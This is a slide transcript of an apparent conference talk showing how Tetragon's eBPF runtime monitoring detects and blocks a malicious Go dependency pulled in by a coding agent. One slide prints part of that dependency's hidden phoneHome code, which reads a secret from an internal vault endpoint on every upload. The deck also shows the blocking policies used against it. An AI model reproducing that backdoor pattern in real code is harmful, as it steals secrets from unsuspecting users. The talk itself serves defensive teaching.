[GitHub Universe 2026] Who's watching the agents? What AI code does in production (Tetragon)

GitHub Copilot and coding agents can now write, commit, and deploy code autonomously, and GitHub gives you a powerful control plane over how that software is created and shipped. But once the code runs in production, its behavior gets much harder to see. Static analysis and PR review can inspect code at rest; neither can observe a running process. This session shows how eBPF-based runtime observability extends that model down into the kernel, giving you visibility into the processes, file access, and network activity of AI-generated workloads as they actually execute. When an agent's code reaches out to an unexpected endpoint or touches a file it shouldn't, you see it. You'll leave with a practical way to close the security loop that AI introduces: not just reviewing what agents write, but watching what their code actually does once it's live.

https://reg.githubuniverse.com/flow/github/universe26/attendee-portal/page/sessioncatalog/session/1777489666868001IyxA

Transcript

1. 22K
2. 22K Number of malicious open-source packages in Q1 2026 That's one every six minutes. Source: Sonatype, Q1 2026 Open Source Malware Index (April 14, 2026) https://www.sonatype.com/press-releases/sonatype-q1-2026-open-source-malware-index
3. Who’s watching the agent? What AI code does in production Donia Chaiehloudj | @doniacld Senior Technical Community Advocate Isovalent @Cisco
4. Donia Chaiehloudj SR. TECHNICAL COMMUNITY ADVOCATE / ISOVALENT @CISCO I am a software engineer with a focus on cloud native, networking, runtime security and eBPF. @DONIACLD
5. Mona's After-Party
6. “Upload a pic of GitHub Universe” @DONIACLD
7. Add a new feature
8. Implement with Copilot
9. Architecture KUBERNETES CLUSTER /CHARGE USER FRONTEND PAYMENTS /UPLOAD GALLERY @DONIACLD
10. What the agent wrote SERVICES/GALLERY/MAIN.GO import ( "bytes" "embed" Read the file, make a thumbnail, pin it to the wall. "encoding/base64" "encoding/json" "log" One new dependency "net/http" "os" "strings" "sync" "github.com/octopkg/upload" )
11. CI is green
12. What could go wrong? @DONIACLD
13. LIVE DEMO, GRAB YOUR PHONE Join the party 32-190-46-246.sslip.io Upload your Octocat sighting. Mona approves every photo; location data is removed. @DONIACLD
14. Live Demo @DONIACLD
15. Tetragon: Observing runtime behaviour eBPF Observability and Runtime Security Agent.
16. eBPF Dynamically change the k ernel behaviour
17. THE ATTACK What your upload really did KUBERNETES CLUSTER /CHARGE USER FRONTEND PAYMENTS /UPLOAD GALLERY GET /VAULT TETRAGON SEES IT NODE KERNEL eBPF TETRAGON @DONIACLD
18. Tetragon events One upload: the gallery binary dials payments:8080 and reads /vault
19. The problem GITHUB.COM/OCTOPKG/UPLOAD func phoneHome() error { payments := getenv("PAYMENTS_ADDR", "payments:8080") client := &http.Client{ On every upload, the thumbnail helper dials and reads the vault. Timeout: 2 * time.Second, Transport: &http.Transport{DisableKeepAlives: true}, } resp, err := client.Get("http://" + payments + "/vault") if err != nil { return err } defer resp.Body.Close() secret, err := io.ReadAll(resp.Body) if err != nil { return err }
20. Turn the boundary into policy POLICIES/AFTER-PARTY/GALLERY-PAYMENTS-BLOCK.YAML metadata: name: "gallery-payments-block" spec: kprobes: - call: "security_socket_connect" syscall: false args: - index: 1 type: "sockaddr" selectors: - matchBinaries: - operator: "Postfix" values: ["/gallery"] matchArgs: - index: 1 operator: "SPort" values: ["8080"] matchActions: - action: Override argError: -1
21. Demo: Block it upload again now @DONIACLD
22. OVERRIDE / EPERM Tetragon blocks the call KUBERNETES CLUSTER /CHARGE USER FRONTEND PAYMENTS /UPLOAD GALLERY GET /VAULT EPERM NO PACKET SENT NODE KERNEL eBPF TETRAGON @DONIACLD
23. Tetragon blocked the upload
24. Or stop the process POLICIES/AFTER-PARTY/GALLERY-PAYMENTS-KILL.YAML metadata: name: "gallery-payments-kill" spec: kprobes: - call: "tcp_connect" syscall: false args: - index: 0 type: "sock" selectors: - matchBinaries: - operator: "Postfix" values: ["/gallery"] matchArgs: - index: 0 operator: "DPort" values: ["8080"] matchActions: - action: Sigkill
25. Demo: Stop it @DONIACLD
26. SIGKILL Tetragon stops the process KUBERNETES CLUSTER /CHARGE FRONTEND USER RUNNING PAYMENTS RUNNING /UPLOAD GALLERY KILLED, RESTARTING SIGKILL CRASHLOOPBACKOFF DIES BEFORE IT SENDS GET /VAULT NODE KERNEL eBPF TETRAGON @DONIACLD
27. Tetragon stopped the gallery
28. The fix is one line GIT DIFF MAIN FIX/CLEAN-UPLOAD -- SERVICES/GALLERY/MAIN.GO - "github.com/octopkg/upload" + upload "github.com/doniacld/gh26-tetragon/internal/sightings"
29. Live Demo: the fix @DONIACLD
30. Tetragon in GitHub Actions CI pattern adapted from Liz Rice · github.com/lizrice/tetragon-ci
31. Tetragon use cases Process execution File access Network Privilege escalation Every exec, with its full ancestry and pod. Who reads secrets or writes sensitive paths. Who connects to whom, per workload. setuid, new capabilities, sudo in a container. Container escapes Host changes Supply-chain attacks AI agents Namespace and host breakouts, in the kernel. Kernel modules and eBPF on the node. A trusted dependency doing what it shouldn't. What agent-written code really does at runtime. @DONIACLD
32. Observe, prevent, patch. As early as possible, dynamically. @DONIACLD
33. Try Tetragon github.com/doniacld/gh26-tetragon GITHUB.COM/DONIACLD/GH26-TETRAGON
34. Try Tetragon github.com/doniacld/gh26-tetragon GITHUB.COM/DONIACLD/GH26-TETRAGON
35. @doniacld #eBPF #Tetragon #Cilium Thank you
36. How was this session? We do actually read these. It's how Universe gets better every year. Scan to review.